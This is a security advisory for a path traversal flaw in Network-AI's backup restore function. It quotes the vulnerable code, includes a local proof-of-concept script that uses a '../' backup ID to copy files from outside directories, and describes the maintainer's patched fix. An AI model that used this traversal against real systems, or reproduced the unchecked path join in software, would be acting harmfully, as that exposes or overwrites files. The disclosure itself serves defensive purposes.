CVE-2026-58413

Description

### Summary `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1. ### Details `restore()` builds `backupPath` directly from caller-controlled `backupId`: ```ts restore(env: EnvName, backupId: string): RestoreResult { const envDir = this.getDataDir(env); const backupsDir = join(envDir, '.backups'); const backupPath = join(backupsDir, backupId); if (!existsSync(backupPath)) { throw new Error(`Backup '${backupId}' not found for environment '${env}'`); } this.backup(env); const files = this._collectBackupFiles(backupPath); let restored = 0; for (const rel of files) { if (rel === '_manifest.json') continue; const src = join(backupPath, rel); const dst = join(envDir, rel); try { mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true }); copyFileSync(src, dst); restored++; } catch { /* skip */ } } return { backupId, env, filesRestored: restored }; } ``` There is no resolved containment check that ensures `backupPath` remains under `backupsDir`. Default CLI reachability exists through `network-ai env backup restore --env <env> --backup <id>`. Affected source evidence: - `lib/env-manager.ts:474-499` — vulnerable restore path construction and copy. - `bin/cli.ts:441-458` — default CLI exposes restore with caller-controlled `--backup`. ### PoC This PoC uses only temporary directories and restores `trust_levels.json` from an external directory into `data/dev`: ```bash TMP=$(mktemp -d) TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS' const { EnvironmentManager } = require('./lib/env-manager'); const fs = require('fs'); const path = require('path'); const base = process.env.TMPBASE; const data = path.join(base, 'data'); const source = path.join(base, 'outside', 'secret-src'); fs.mkdirSync(source, { recursive: true }); fs.writeFileSync(path.join(source, 'trust_levels.json'), '{"leaked":true}'); const mgr = new EnvironmentManager(data, { chain: ['dev', 'st'], gates: { dev: 'auto', st: 'auto' }, }); mgr.init('dev'); const backupId = path.relative(path.join(data, 'dev', '.backups'), source); const result = mgr.restore('dev', backupId); const restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8'); console.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2)); fs.rmSync(base, { recursive: true, force: true }); TS ``` Observed result includes `backupId: "../../../outside/secret-src"`, `filesRestored: 1`, and restored content `{"leaked":true}`. ### Impact A caller that can invoke backup restore can copy arbitrary readable directories into `data/<env>`, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed. --- ### Resolution (maintainer) **Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance. `restore()` now validates `backupId` against `/^[\w\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment. All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.